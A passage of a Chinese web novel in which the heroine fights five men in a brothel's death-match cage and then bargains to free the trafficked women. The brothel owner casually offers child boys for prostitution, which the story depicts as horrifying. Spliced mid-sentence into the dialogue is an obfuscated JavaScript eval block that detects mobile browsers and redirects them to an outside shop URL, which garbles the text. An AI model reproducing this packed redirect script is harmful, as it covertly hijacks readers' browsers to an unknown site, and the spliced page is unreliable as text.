赵佳惠的母亲出身贫苦,怀着她时,因为孕肚尖,赵孟满心欢喜,谁知道,她出生后却是个女孩。 确定她的性别后,赵孟对她,还有她母亲都没有那么重视了,久而久之,她们母女二人就被遗忘在后宅。 要不是她在赵孟一众未出阁的女儿中长得最好看,年龄也合适,否则,她哪有机会见外客。 关于邹杲失势的传闻,她也听到过一些,但再失势,她始终是王爷啊!她兄长是怎么敢的? 邹杲轻飘飘扫了他一眼,“耍你又如何?” “你!” 比起赵天禄,赵佳惠显然更害怕得罪邹杲,从而牵连整个赵家和她们母女俩。 她鼓起勇气,上前拉住赵天禄的胳膊,“兄长,爹爹说过的,王爷是贵客。” 赵天禄愤怒至极,虽然没有下一步的动作,却不愿低头,怒目瞪着邹杲。 无奈,赵佳惠又用哀求的目光看向邹杲和李棋。 赵佳惠才十五岁,长得漂亮水灵,邹杲心不心疼李棋不知道,她看着倒是不忍心了。 娇滴滴、软糯糯的小美人无助哀求,她真的看不得。 只犹豫了半瞬,李棋果断站出来英雄救美,“少城主何出此言,我与王爷是真心要在瀚海城好生玩耍一番,奈何初次来,不得章法。” 李棋看向赵天禄,“少城主,不知你可知晓瀚海城有哪些寻欢作乐的刺激场所啊?” 赵天禄还没来得及回答,邹杲冷声道:“不要刺激,寻一雅静之所便可。” 李棋也不管邹杲,她看向赵天禄,挑眉坏笑道,“少城主不必为难,既然王爷喜欢雅静的场所,就让同样雅静的佳惠妹妹陪王爷去。我们一起去寻刺激如何啊?” 赵天禄看呆了,李棋的长相明媚张扬又精致,她身上还有一种还大多数闺房女子不具备的野性美。 第一眼是大美人,仔细看还是大美人。 她穿着简单朴素的男装时,赵天禄就被她的容貌吸引,何况是现在。 赵天禄心中的闷气全无,直勾勾看着李棋,毫不留情甩开赵佳惠的手就要朝李棋走过来。 邹杲适时上前一步,挡在两人中间,幸好他身量高、骨架大,虽然瘦弱许多,却也严严实实把李棋挡在身后。 “小棋儿你又说错了,本王从战场上下来,可不喜欢什么静雅的场所。” 李棋毫不客气怼他,“不是王爷让少城主寻雅静之所吗?”说着从邹杲身后绕到他身前,邹杲自然不让,两人又是一番拉扯。 邹杲也不觉尴尬,笑着说道:“本王是担心小棋儿累着,去刺激场所无法好生休息,既然小棋儿不累,那便一起去寻些刺激吧。” 邹杲将李棋挡在身后,立刻似笑非笑、得意还带着威慑盯着赵天禄,“侄儿知道什么好去处,便在前面指路吧。” 轻描淡写一句‘侄儿’,让赵天禄的笑容僵在脸上,他犹豫了一下,还是决定忍着。 “跟我来吧。”说罢,他又笑盈盈看向李棋,李棋也探出脑袋对他嫣然一笑。 他魂都快被勾着了,一步三回头,还是邹杲不悦咳嗽了一声,他才加快脚步,转头拐进右边的巷子中,往巷子深处走去。 * 两刻钟后,一行四人站在暧昧喧闹的红楼大堂之外。 邹杲面色铁青,目光凌厉看向赵天禄,“这就是你说刺激场所?” 李棋倒是蠢蠢欲动,这种地方她只在书上看过,还挺好奇的。 赵佳惠吓得都不敢说话了,她既不敢躲到赵天禄身后,更不敢躲到邹杲身后,只努力缩小自己的存在感。 还是李棋于心不忍,一把把赵佳惠拉到了自己身边,让赵佳惠勾着她的胳膊,躲在她身侧。 赵天禄不服反驳,“红楼在瀚海城有着小金曲楼之称,可不是普通的花柳之地,你们随我进来就知道了。” 他说着,走在前面,熟捻和迎上来的女人打招呼。 金曲楼在中西部,旷莽丛林之北,大嬴皇城鄂阳之西,在黄沙中屹立百余载,不仅是花柳之地,更是众多亡命徒的栖身之所,是最大的地下交易场所。 在金曲楼,只要有钱,没有什么是买不到的,包括人命。 李棋还没去过金曲楼,对金曲楼好奇已久,一听这地方有小金曲楼之称,兴冲冲拉着赵佳惠就跟上。 李棋人都进去了,邹杲再不情不愿,也只得快步跟在李棋身后。 女人和赵天禄显然是老相识,还没靠近,就先柔若无骨地扑向赵天禄,想依偎在赵天禄身上。 但赵天禄预判了她的预判,一边不动声色躲开她,一边看向李棋。 李棋倒是坦然而暧昧笑了笑,赵天禄却有些窘迫。 女人瞬间看透一切,也不再往赵天禄身上扑了,说他们来得正是时候,下面打得正激烈呢。 她边说,边带着他们往下面走。 下了一层楼,拐过一道巨大的屏风,一个全新的、充满血腥与暴力的世界映入众人的眼帘。 他们被带到一间狭小的贵宾室,坐在这里,能够清晰地看到下方缠斗的四人。 中间陷下去的囚笼中,三个衣物被撕得稀碎的艳丽女子和一个只穿着裤子的强壮男人打得不可开交,女人们的武器均是一根银簪,男人则赤手空拳。 四周站满了本性暴露无遗的男人,他们怀里搂着漂亮的女人,放肆尖叫咆哮,嘴里喊着不堪入耳的话。 赵佳惠吓得都哭了,“兄长,这是什么地方啊,我们回去吧,姐姐……” “麻烦。”赵天禄一抬手臂扫开她,她脚下不稳,差点摔倒,还好李棋离得近,伸手拦腰接住了她,“别怕,有我在呢。” 赵佳惠很委屈,也很是感激,紧紧抱着李棋的胳膊,丝毫不敢放手。 赵天禄嫉妒不已,冷哼一声,“别在这哭哭啼啼的,扫兴。” 他说着,就要上手将赵佳惠扯开。 赵佳惠浑身一抖,连忙起身躲到李棋身后。 李棋伸手拦住赵天禄,回身摸摸赵佳惠的小脸蛋,“我到不觉得佳惠妹妹哭得扫兴,多漂亮啊。” “她漂亮什么,不及李姑娘半分。”赵天禄没好气睨了她一眼,又讨好看向李棋,“怎么样,李姑娘,你还满意这里吗?” 虽然囚笼中的打斗很激烈,但或许是女子完全被压制着的缘故,李棋一点不觉得刺激爽快。 不过,也不得不承认,她是有些喜欢的,甚至想亲自参与其中。 她想亲手打得那男人哭喊求饶。 “还行。”李棋问,“这些女子都是从哪里找来的?买来的,还是掠来的?你爹作为城主,不管管?” 赵天禄瞥了邹杲一眼,又冲李棋讪讪笑道:“不是拐来的,是她们的父母长辈卖到这里的。这个我爹没法管,他之前管过,是这些女子不让他管,还闹到了城主府。被卖到这种地方的女子,只能为奴为妓,但红楼给了她们另一种出路。” 囚笼中的男人一手掐着一个女人的脖子,另一个女人趁机不断攻击他的后背,却因为男人皮糙肉厚,无法撼动他分毫。 李棋看着攥紧了拳头,压抑着怒火问:“这算什么出路?” “她们都是宁愿死也不愿意卖身的女子。赢了,她们能得到自由和一大笔钱财,离开这里重新生活。”赵天禄说,“输了,她们也能按照她们的意愿,干干净净地走。” 邹杲强势挤到李棋和赵天禄中间,打断赵天禄问李棋,“小棋儿,你确定还要看吗?” 邹杲神色平静,但李棋看惯了他的玩味荒诞,他如今的平静在李棋看来也就不那么平静了。 “看,怎么不看。”李棋说着,推开挡在中间的邹杲,将死死勾着她胳膊的赵佳惠交给邹杲,又走到赵天禄身边。 人有点多,声音很大,吵得她不太能听清赵天禄说的话。 她勾勾手,赵天禄连忙靠近一些,她才大声又问:“外来人能参加比试吗?” 赵天禄愕然看着她,她又问:“赢了能得到什么奖励?” “李姑娘,你…这……”赵天禄瞠目结舌,欲言又止。 “是,我想参加,可以吗?”李棋提高了音量,直勾勾盯着赵天禄。 赵天禄被她看得有些发憷,一时知无不言,“可以,但凡是外来客愿意参加,只要打赢一场,就能得到的一百金,是她们的十倍,但若是死了或者伤残……” “击败一人一百金?”李棋问。 “李姑娘……” 李棋讨厌啰嗦的男人,囚笼里的三个女人要坚持不住了,其中一个已经爬不起来了,“你直接说是不是?” “是。”赵天禄连忙应道。 “你去找这里的管事的说,我要同时挑战五个。” 赵天禄脸上写满了震惊之色,“李姑娘,红楼的打手都是从小培养起来的,不但武功高强,还会在上场前服用特殊的药物,就算神武军中的将领亲至也未必能以一敌五。你一个女子,还有伤在身,同时对战五个,怕是有些悬殊。”< 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那男人将几个女人都打得没有还手之力后,非但不停止,还□□着走向其中一个女人。 他站在女人上方,看着女人爬出去好几寸,才笑着抓着女人的腿将人拉回来,猛地坐在女人身上,女人的腿被他拧得嘎嘣一声,伴随而来的是女人痛苦的嚎叫。 李棋气得双手攥得嘎吱作响。 邹杲也看到了下方的惨相,但还是冷酷道:“这世间,最不缺的就是苦难人,小棋儿,你救不过来的。” 见那恶心的男人又将手伸向女子胸前最后的遮羞布,李棋一拳捶在护栏上,“能救一个是一个。” 邹杲不再多舌,只道:“注意安全。” 李棋再也忍不住,一股脑取下头上的发饰,又取出藏在腿上的鞭子,扔到邹杲怀里,她一边撕身上碍事宽大的袖子,一边跃到了囚笼中。 在众人惊诧时,她一脚踢飞了那男人,用扯下来的袖子勉强遮住了女子的躯体。 看客们先是一愣,随即都欢呼兴奋起来,而这一切,无比是因为李棋那张脸。 这时,红楼的老板也被赵天禄喊来了。 是一个邪气妖媚、穿着粉色衣衫的中年男人,男人脸上有些许皱纹,脂粉有些厚,但也能看出他年轻时是有几分的姿色。 他步履轻盈,只看神态动作,怕是比起红楼里大多数女人还娇媚动人。 他在四个男人的护卫下,款款走到外面的看台最中间的地方。 他刻意夹着嗓子说话,声音尖细,既没有女人的细腻,也失去男人原本的音色,很刺耳。 “就是你要同时挑战我红楼五名‘将军’?” 赵天禄介绍道:“李姑娘,这是红楼的大掌柜,红郎。” 李棋刚将三名女子扶起来,虽然她所在的地方低男人很多,气势却一点不输他,“是我。” “姿色倒是不错,配得上你的口气。”红郎大笑着,拍了拍手,“来人啊,把她们拖下去,将红楼全部的‘将军’都喊上来,任由这位李姑娘挑选。” 李棋让她们靠坐在边上的护栏上休息,她抬头看了邹杲一眼,又看向红郎,蹙眉道:“你管这些恶心的男人叫‘将军’?” 红郎一愣,哈哈大笑道,“可不是我管他们叫将军,而是瀚海城的人都管他们叫将军。不知道李姑娘有什么高见啊?” “他们不配。”李棋唾弃道,“真正的将军是以保护百姓为己任的,特别是女子,特别是生你们、养你们的母亲。” 此话一出,静默一瞬,但下一刻,不止红郎,在场的男男女女都哈哈大笑。 李棋丝毫不怯色,看向他,道:“打完之后,我少要一百金,你以后不准再侮辱‘将军’这个称谓。” 红郎笑得更大声,“好啊,只要你能赢,一切好说。我这个人啊,最喜欢的就是厉害的人了。” 这时,二十个只穿上衣、一身强健的肌肉男人也走进了牢笼之中。 他们个个人高马大,横眉冷目,直接将本就不大的牢笼塞得满满的,无形中给人一种威慑。 “李姑娘,挑选你的对手吧。”红郎笑盈盈道,“我和我的贵客们可都等不及了呢。” 男人们又是一阵欢呼起哄。 李棋又看了邹杲一眼,他就这么看着她,李棋感觉自己可能是有些恍惚了,她竟然在邹杲的眼中看到了一些担忧的神色。 不过担忧与否,都不如眼下的事情来得重要。 她抛去脑子那些无关紧要的想法,走到那群男人中,认真挑选对手。 这些男人,身体都是一样的高大强壮,估计比邹杲还要高上一两寸,不同的是他们的目光。 有的恶心到李棋想立刻戳瞎他们的双眼,有的目光空洞,好像完全没看到她一样; 还有极少数的居然露出一种屈辱的神色,似乎是知晓干这个勾当的自己的卑劣,让李棋想不通他们为什么会走上这条路。 她也没有问,看了一圈,选了看她的目光最让她恶心的五个。 她每指出一个,男人们的欢呼声越大,她选完五人,不止赵天禄,红郎脸上玩味的笑容也都消失不见了。 18. 无尽卷·第十八章 18 “李姑娘,你当真要选他们?”红郎问,“你听我这些贵客的声音,就能猜到他们不好对付,看在你是少城主带来的贵客的份上,我就再给你一次机会,让你重新再好好挑选对手……” 李棋坚定打断他,“不了,就他们。” 红郎一怔,还是又劝道:“比试一旦开始,不死不休,哪怕你是少城主带来的贵客也一样,你若是死了残了,都与我红楼无关,更拿不到任何钱财,你可想好了。” 赵天禄焦急喊道:“李姑娘,你换一批人吧,从来没有女人能从他们手中活下去,你对付一个胜算都不大,何况是五个人。” “胜负大不大,打了才知道。”李棋说,“开始吧。” 闻言,赵天禄担心得要死,想阻拦,却被红郎的人拦住了,红郎也不再劝说,招呼看客下注。 红楼这些看客大多都是老顾客,虽然李棋很狂,但是他们更相信他们亲眼看着一直赢到现在的人。 于是,到下注结束,竟然只有四人在李棋身上下了注,一是邹杲,二是赵天禄,另外两人是两个邹杲不认识的锦衣青年。 两人看起来很年轻,虽都穿着锦衣,年轻一些那名男子还穿着宽袖,但是很明显,他们不是官宦人家出身。 大嬴官宦及其后代,邹杲看过全部的画像,无一遗漏。这两人,他都不认识。 穿着深绿色衣袍的那名男子拿着一把一尺有余的银色的铁扇,他眉目深邃,一头黑发也有些卷曲,一副吊儿郎当的模样。 他身旁那人看起来年幼很多,穿着浅绿色的宽袖衣袍,手里拿着一把银色的剑,神态很是紧张的注视着李棋。 宽袖少年过度关心的神色让邹杲不由得警惕,但邹杲来不及深究两人的身份,下注结束了。尽管才半炷香不到。 * 红郎看向李棋,再一次道:“李姑娘,这是你最后一次可以反悔的机会。” “多谢,不必。”李棋对红郎说完,活动了一下左臂,看向对面五人,“来吧。” 五个凶神恶煞、表情猥琐的男人闻言当即向她冲过来。 “等等。”李棋突然叫停,五个男人一愣,看客们也是一阵唏嘘,骂李棋扫兴。 李棋仰头看向红郎,嬉笑问:“我没反悔,我只是想问一下,我要是不小心把他们打死或者打残,你会不会要我赔,或者扣我的奖金。” 红郎严峻的脸上露出笑容,对李棋也全然没有之前的不屑,“当然不会,他们和姑娘一样都签了生死契,死在擂台上只能怪他们技不如人,怪不得任何人。” “好。”李棋笑盈盈应着,撕下宽大的裙摆,以此作为武器。 出门时,她特意在裙子底下穿了一条穿男装时穿的裤子,现在这样,也不怕走光。 李棋又看向那五人,“可以了,来吧。” 五个男人显然被她这种态度气得不轻,原本还想慢慢和她玩,现在直接失去了耐心,只想早点扒光她的衣服,消磨她的心性。 这些男人虽然也是练家子,但是他们的体型过于强壮,行动反倒不利索。 李棋身形矫健,招式连贯、千变万化,让他们摸不清下一步。 上好的丝织锦帛,在李棋手中,像剑一样。 随着她一击击中其中一个男人的头部,让男人不受控后仰,重重撞在用于圈占牢笼的巨大木头之上。 他挣扎了好半天,却怎么也爬不起来,现场的氛围彻底点燃,看客们欢呼着,咆哮着,叫嚣着。 他们齐声高喊着:撕碎她的衣服,让她跪下求饶,打得她站不起来。 剩下的四个男人不敢再轻视李棋,短暂的视线交流,便四散开来,将李棋团团围住。 李棋丝毫不慌,手中的锦帛被她一分为二,成为一对软鞭。 四人同时进攻,李棋沉着应战,五人打得焦灼。 邹杲双眼紧紧跟着李棋,手中握着一个空的陶瓷茶杯,时刻注视着下方。 赵佳惠也忘记了害怕,目瞪口呆追随着李棋的身影。 赵天禄和她差不多,焦急站在红郎身边看着。 红郎从开始的不屑,到现在的震惊,完全跟着李棋走,脸上满是惊喜欣赏之色。 邹杲左侧面的贵宾室里,绿衣少年也在跟身边的男子说些什么,他视线还追随着李棋,脸上满是开心之色,男子跟着应和赞美,视线倒是都在少年身上。 若是邹杲看到,恐怕能根据蛛丝马迹猜到些什么,但是他此刻没时间注意这些。 牢笼中,战况越来越激烈,四人同时围攻李棋,李棋虽然得心应手,却没注意一开始被她打得起不来的那个男人。 四个男人为他争取了机会,他从后方朝李棋扑了上去。 若是没有震耳欲聋的欢呼声,李棋或许还能及时注意到身后的动静,而此刻,等她注意到时,已经来不及应对了。 她旋转后倾,锦帛如箭,被她甩出去,然而却被已经靠近的男人抓住。 男人抓住锦帛,立马停下来,下盘扎稳,猛地一扯,李棋被拉着转了一圈,不等她反应,男人松开锦帛,将她甩了出去。 而她被甩出去的方向,还有一个男人在等着她。 她若是就这么甩过去,她怕是会被打得吐血。 距离很短,她来不及做其他的,只在快被男人的拳头打中时,甩出手中的锦布,勾着上方的牢笼,勉强在空中转了个身,避开男人的拳头的同时,双腿缠住男人的脖子。 她猛一使劲,男人的脖子向右边倾倒,男人瞬间眼睛鼓起凸出,呼吸不过来。 看客们的欢呼一顿,眼看男人就要断气了,李棋还是心软了,她勾着男人的脖颈,向下扑倒,将男人带到地上,以迅雷不及掩耳之势折了男人的双腿,让男人彻底失去了战斗力。 欢呼声继续,看客已经不在乎赌输赌赢了,也不再分敌我,统一口径喊着:打死TA! 他们杀红了眼,期待并且渴望看到、闻到、触碰到滚烫的血液。 另外四个男人反应过来,两人助跑飞扑,完全不在乎李棋手里的锦帛打破他们的皮肤,两人合力,缴了李棋的武器,一跃系在牢笼正中间。 另外两人紧接着扑上来,将李棋完全压住,这还没完,另外两个男人也扑了上来,压在上面。 李棋被四个男人压住,看不到她哪怕一片衣角,一番挣扎抖动后,四个男人没了动静,李棋似乎也没了动静。 邹杲手中陶瓷杯被捏碎,左侧面的绿衣少年也站不住了,两人正欲出手,突然,一声凄厉的哀嚎从牢笼中传来。 不等众人看清楚,一只血淋淋的手掌竟然被扔了出来,下方抖动不止。 最上方的两个男人察觉不对,正欲起身抓住最底下的李棋,突然,四人被强大的内力轰开,他们重重撞在足有成年男人大腿粗的木头围栏上,其中一根还被撞裂了。 满座皆震惊,一时鸦雀无声。 只见李棋抓着衣服站起来,她的手上、左边肩膀上,全是血,明媚艳丽的脸上也是。 她系好被撕破的外衣,擦了擦嘴边的血,身形敏捷依次走向那四个男人。 第一个,被她戳瞎了双眼,第二个,被她扭断了胳膊,第三个,之前就被她扭断了右手手掌,所以她只是走过去,男人就腿软跪了下去,趴在地上连连磕头。 李棋脚步一顿,随即直接从他面前走过去、略过了他。 第四个,求饶着往后爬,他身下留下了一滩水迹,骚臭味熏得李棋捂着鼻子嫌弃的后退了好几步。 在几个大男人的哭泣中,李棋大获全胜。 李棋退到离男人最远的地方,仰头先朝邹杲露出了一个恣意的笑容,这才看向红郎。 她清了清嗓子,“如何?我赢了吧?还是说我得亲手了解了他们的性命才算赢?”她说着,看向离她最近的,被她折断了双腿的男人,男人双手奋力爬着想远离她,惊恐畏惧的模样,眼睛险些鼓出来,已经是被李棋吓破了胆。 红郎反应过来,连连鼓掌,大笑出声,“巾帼不让须眉。五人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680503|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五百金,立刻为李姑娘准备好。” 李棋借力跃到牢笼之上,她顺势坐在系着从她的衣服上撕下来的布料的木头处,玩世不恭看向红郎,“等等,” “姑娘还有什么吩咐?”红郎也饶有兴致看着她,等着她的下文。 见状,李棋也不跟他客气,“我不缺钱,你把钱换成人给我,女人,男人,你有多少,我都要了!” 红郎笑容僵在脸上,“姑娘好大的口气,区区五百斤,可买不下我红楼。” 他的目光变得凶狠凌厉,“还是说,要人是假,砸场子是真?不知姑娘是受哪家娼妓馆雇佣,我愿付出双倍请姑娘‘以其人之道,还治其人之身’。” 见势不妙,赵天禄当即要站出来说好话劝和,但李棋抢先道:“何来砸场子一说,我辛苦赚钱来买,你拿钱放人,平常的交易而已。” 李棋又说:“我没记错的话,刚刚没几个人在我身上下注,我帮你赚的钱,远比五场比试赚得多吧。” 听闻此言,看客们开始叫嚣了,人群中甚至有人怀疑起李棋是红郎找来的,这一出,就是特意演给他们看的。 这时,一个留着长胡子的书生模样的中年男人匆忙走过来,在红郎耳边低声说了些什么。 听中年男人说完,红郎这才伸手示意叫嚣着的男人们安静。 红郎换上笑脸看向李棋,“姑娘何出此言?”又问,“姑娘可考虑清楚了,当真要人不要钱?” “是。”李棋点头,“我要那些宁死不屈的女子,要那些良心尚存的男子。” 红郎嗤笑道:“姑娘原来是菩萨显灵,大发善心来了。那些女子走上这条路,就是不愿意卖给他人做玩物,你若想要普通奴仆,去市场上买也更来得更划算,何苦非要和我抢人。” “菩萨不敢当,但巧了,我还真就是突然想做点好事,买下她们还她们自由,怎么也算大功德一件了。”李棋看向红郎,“直接点吧,红郎掌柜,四百金能买多少人?” 她拍了拍自己的左肩,嬉笑道:“我这肩膀还流着血呢,拖太久,耽误我医治,我可要讹上你了。” 红郎扫了李棋的左肩一眼,“姑娘实力太过高强,倒是我疏忽了。”他道,“姑娘先来处理好伤口,具体交易,我们细聊如何?” 许是怕李棋不放心,也是为了给他这些客人一个交代,他又说:“李姑娘不必担心我红郎言而无信,且不说你是少城主带来的贵客,是常胜王爷心尖上的人,现场还有我这么多贵客做见证,红郎哪里敢耍诈玩弄姑娘呢。” ‘常胜王爷’四个字一出,现场让红郎给个交代的声音几乎立刻就小了。 李棋看向邹杲,见他点头,也欣然点头同意,“行,那就先处理我的伤,再细细聊这桩买卖。” 她这才起身,身形轻盈,跃到邹杲所在的贵宾室,那沾着好几个人的血的布匹就这么挂在中间。 她的动作,又引来了一阵惊讶声。 两丈的高度,下去容易,上来可没那么简单。 但她在负伤的情况下,竟然就这么两步跳了上来,这种壮观的场景,是极为少见。 当然,在金曲楼除外。 金曲楼是风月场所,更是江湖势力,里面哪怕是一个最不起眼的杂役,可能都是武功高强之人。 金曲楼和逍遥门、蕀篱门、暗秋城、浩然山等江湖门派一样,进入其中都有极高的门槛,他们各自有着数百载积累总结的内功心法,有着门派武功秘籍,不是一般势力能比拟的。 李棋的师父们就是那些人中的佼佼者、老前辈,她虽然没有门派背景,但是实力却未必比门派中的佼佼者弱。 她年纪虽然不算大,但是曾打赢过她的好几位师父,这也是她自信狂妄的底气。 何况,红郎养的这些打手服用了大量的药物,看起了壮硕,但在真正的练家子面前,不堪一击。 李棋也是看清看透了,才会狂妄提出要一打五的。 她很惜命,没有把握的事轻易不会做,哪怕是为了美人。 19. 无尽卷·第十九章 19 李棋一上去,邹杲就脱下外袍给她披上。 他们看着彼此,一时无言,最后又相视而笑。 李棋是在挑眉嘚瑟,邹杲则无奈但赞扬。 赵佳惠紧张拿出她随身携带的绣花小手帕,哆哆嗦嗦、结结巴巴递给她,“姐姐,你、你……” 李棋接过手帕,捂着崩开的左肩,冲赵佳惠笑了笑,“我没什么大事,就是要浪费你一张香香的手帕了。” 赵佳惠连连摇头,脸却瞬间红了。 诶呦,这也太可爱了! 李棋没忍住抬起右手捏了捏她的脸蛋,“别怕,我只打坏人,你这么可爱招人疼,我说什么也不可能对你动手的。” 别说,赵佳惠的脸是真滑溜,比起这些天风吹日晒的她的脸摸起来,舒服了好多,跟刚煮熟脱壳的鸡蛋似的。 赵佳惠有些羞涩,却仰头仰慕看着她。 李棋没忍住又捏了捏赵佳惠白净软糯的脸。 赵佳惠也羞涩笑着,像是嗔怪又像是别的什么,小声喊了声,“姐姐……” 哎呦,这一声,给李棋都快萌化了。 讨人嫌的邹杲突然走过来,插在她和赵佳惠中间。 邹杲抓着她的右臂,就要带着她走出贵宾室,都不管赵佳惠。 这个专吃女人的地方,李棋可不敢留乖巧软萌的赵佳惠一个人在这里。 她回过头去,“小佳惠,快跟上来。” “好,姐姐。”好在赵佳惠没有来时那么害怕了,不等李棋招呼,已经小跑着跟在他们身后了。 一打开门,被人簇拥着的红郎和赵天禄也走了过来,看客们全都聚集在门外。 红郎的人有条不紊开路,红郎本人则礼节周到带着她和邹杲等人上楼。 * 红楼地面以上二楼,红郎将她们带到一间宽大的雅室,还让人准备了处理伤口的药物和干净衣物。 他和李棋约定完半个时辰后带李棋去挑人,就先离开了。 李棋虽然给他赚了很多钱,但也破坏了红楼原本的安排,有不少摊子等着他去处理。 他一走,就剩下李棋、邹杲,还有赵家兄妹了。 李棋直接忽略神色复杂看着她的赵天禄,看向赵佳惠,“佳惠,你来帮我处理伤口。” 赵佳惠连连点头。 李棋又看向邹杲,“至于你们,待在外室,该干嘛干嘛。” 邹杲意味深长扫过李棋的左肩,又看了赵佳惠一眼,“你确定不要我,而要她帮你处理伤口?” 李棋一顿,她都忽略了肩头那来历不明的印记了,但她也是真的不想自己动手了,在刚刚的打斗中,她扭到了右手。 “算了,你来帮我。”李棋心一横,指着邹杲说完,转身进了内室,全然不管赵家兄妹俩同步的目瞪口呆。 邹杲露出一切都在掌握中得意的笑容,各睨了赵天禄和赵佳惠一眼,这才端着红郎准备的东西,施施然跟着李棋进入内室。 * 李棋脱下邹杲的外袍扔在桌子上,一屁股靠坐在内室一个铺着虎皮的椅子上,她用上位者的姿态大咧咧靠坐着,等着邹杲过来伺候她。 邹杲非但不恼,脸上还尽是笑意。 他放下端着的盘子,先从右手衣袖中取出小灵狐放到李棋腿上,又撩起袖子,解下缠绕在他右臂上的九龙软鞭。 他将鞭子放在桌子上,这才拿起剪刀,转身笑盈盈看向李棋,“小棋儿,得罪了。你放心,我会对你负责的。” 李棋在撸小七儿软乎乎的绒毛,闻言,满脸不悦。 “你别做梦,只是看个肩头而已,你想负责我还不愿意呢。” 短短的时日经历了太多,时至此刻,李棋对他已然没了羞涩之意。 她没好气道,“别废话了,赶紧的,等会衣服黏着血凝固了。” 李棋翻着白眼,又举起右手手背,“看到了吗?这里还青了一大块,再不处理,等会该肿起来了。” 邹杲失笑投降,也不再废话,拿着剪刀在被血液湿透的地方剪开。 他几刀,把李棋左边肩膀附近的衣服剪了个稀碎。 有些愈合但是又崩开的伤口看起来触目惊心,连带着下方的彼岸花看起来都妖艳异常。 邹杲心疼抚摸着伤口边缘,“怕是得留疤了。” 李棋被他摸得心里痒痒的,身体一僵,不小心扯疼了小七儿,小七儿叫出声,两人才反应过来。 “这有什么,我可是绝世神医的得意弟子,区区一道疤而已,小问题,想去掉很容易。” 李棋干笑又补充道:“回头,喊我师父给我调个祛疤药就行。” 邹杲没有说话,拿起药酒和细柔的小布,轻柔擦拭着伤口周围的血迹。 李棋没注意,突然被刺激,疼得龇牙咧嘴,倒吸了一口冷气。 “小棋儿有心上人吗?”邹杲突然问。 李棋一愣,“你问这个干什么?” “好奇。”邹杲道,“男人一般都小心眼,只许自己在外拈花惹草,不许女人和别的男人交往密切。小棋儿因为我留疤,还留在肩头,我有些愧疚。” 邹杲笑着又道:“不然,小棋儿嫁给我吧,这样,你不用担心不知道怎么和未来的丈夫解释,我也不用内疚。而且,我还挺喜……” “滚一边去。” 李棋气呼呼推开他,要不是不方便,她真想起身给邹杲一脚。 男人果然都一样,全都一样,自傲自大,好色贪婪。 邹杲哀怨喊道:“小棋儿……” 李棋听得心烦,索性直接道:“别装可怜,二嫁三嫁的女子大有人在,不过是被你看个肩膀而已,要不了命。” “我知道嬴国前不久有律令规定女子到了二十岁必须嫁人生子,但我已经见识过了天下的广阔,要是我以后都得困于深宅,和一群无辜的女人为了一个男人争风吃醋,大打出手一辈子,那我宁愿一辈子躲躲藏藏。何况,寻常官兵还未必追得上我。” 说着,她又想到娘亲,想到了金曲楼,她更加有底气。 “以我的才貌,加入金曲楼绰绰有余,只要我想,成为和蝶恋花齐名的花魁也未尝不可。届时,便是我挑选男人。” 李棋一番话,邹杲听得一愣一愣的,同时也更加凝重。 几次试探,几次争吵,虽李棋说的可能大多是气话,但一定不全是。 他再一次深刻意识到,拿妹妹的丈夫这个说法来刺激试探李棋错得离谱。 邹杲很想和李棋开诚布公谈一谈,但和李棋的第一步棋他就已经走错了,现在无论做什么,李棋恐怕都不会轻易相信了。 还是李棋若无其事打破两人之间的沉默,“先帮我清理伤口吧,我不喊叫,不代表我不痛。” 邹杲心中又是激烈一颤,他哪里还说得出什么话来,只沉默仔细给她处理伤口。 ** 半个时辰后,李棋身上的伤都处理好了,她也换上了一套干净素雅的青紫色衣裙。 这套衣服是邹杲给她处理好伤口后,亲自去隔壁的成衣铺买来的,说是做为自己言语轻浮的道歉礼物。 衣袖有点短了,但款式还不错,娴静素雅,伪装性极强。 她才走出内室,红郎便已经在外室等着了,一同等着的,还有十二名十六七八岁的女子。 刚刚那三名女子也在,她们也都换上了一身完好的衣服,脸上没有伤,但李棋知道,她们的衣服底下,满是累累伤痕。 这就是红楼的恶心之处,对战时,不打女人的脸,但是撕女人的衣服,他们会一点点撕,十分屈辱的,强迫女人们露出满是青紫的瘦削身体。 女子们个个容貌出众,虽然跪在地上,眼睛里却都是倔强与顽强。 李棋直接对红郎道:“让她们都站起来。” 红郎倒是没说什么,让她们都站了起来。 李棋问红郎:“四百金,可以带走多少人?” “八人。”红郎不容置喙道。 李棋也懒得和他讨价还价,转头看向邹杲,“王爷,你在我身上下注赚了不少钱吧?你是不是该分我一些?” 邹杲放下茶杯,宠溺笑道:“都给你,有两千金。” 赵天禄殷勤道:“李姑娘,我也得了八百金,也交给你处理。” 李棋冲赵天禄点头示意,又看向红郎,笑盈盈说:“两千八百金,全部给我换成人。” 红郎冷哼笑了,“姑娘还真是活菩萨在世。”说罢,他的表情便冷了下来。 他道:“两千百八金,五十六人,李姑娘是要把我红楼买过去不成?” 李棋没有说话,而是看向站着的赵天禄。 赵天禄连忙道:“李姑娘,此举的确不妥。” 他道:“这类比试每年只举办五场左右,前不久已经举办了一场,所以……” “明年的人选还没开始培养,提早养这么多闲人,也是很费钱的。”红郎嗤笑道。 李棋问:“当真没了?” “没了。”红郎说罢,喝了一口茶。 他放下茶杯,好似想到了什么,阴阳怪气问:“我这倒是还有几个少年,一人两百金,你要不要?” “少年?”李棋大为震惊。 红郎端着茶杯在嘴边要喝不喝,他冷哼笑道:“姑娘何故如此惊讶,男人嘛,就喜欢追求刺激玩些不一样的,比女人还白净漂亮的少年,又有几个男人能拒绝?” 李棋真的大受震撼,下意识看向邹杲。 邹杲饮茶的动作一顿,满脸无奈也看向了李棋。 李棋这才勉强相信他,收回视线看向红郎,“有几个少年,分别都多少岁?” “还在调教、未曾接/客/的一共有两个,一个八岁一个九岁。” “八岁,九岁?”李棋再一次目瞪口呆,“那已经接客的那些呢?” “最小的十四岁。”红郎淡定道。“最大的十八,一共七人。” 李棋真的无法淡定了,她猛地站了起来,“十四岁,女子都要十五岁才及笄,十四岁你就喊他们接客,你怎么忍心的?你难道就没有孩子吗? 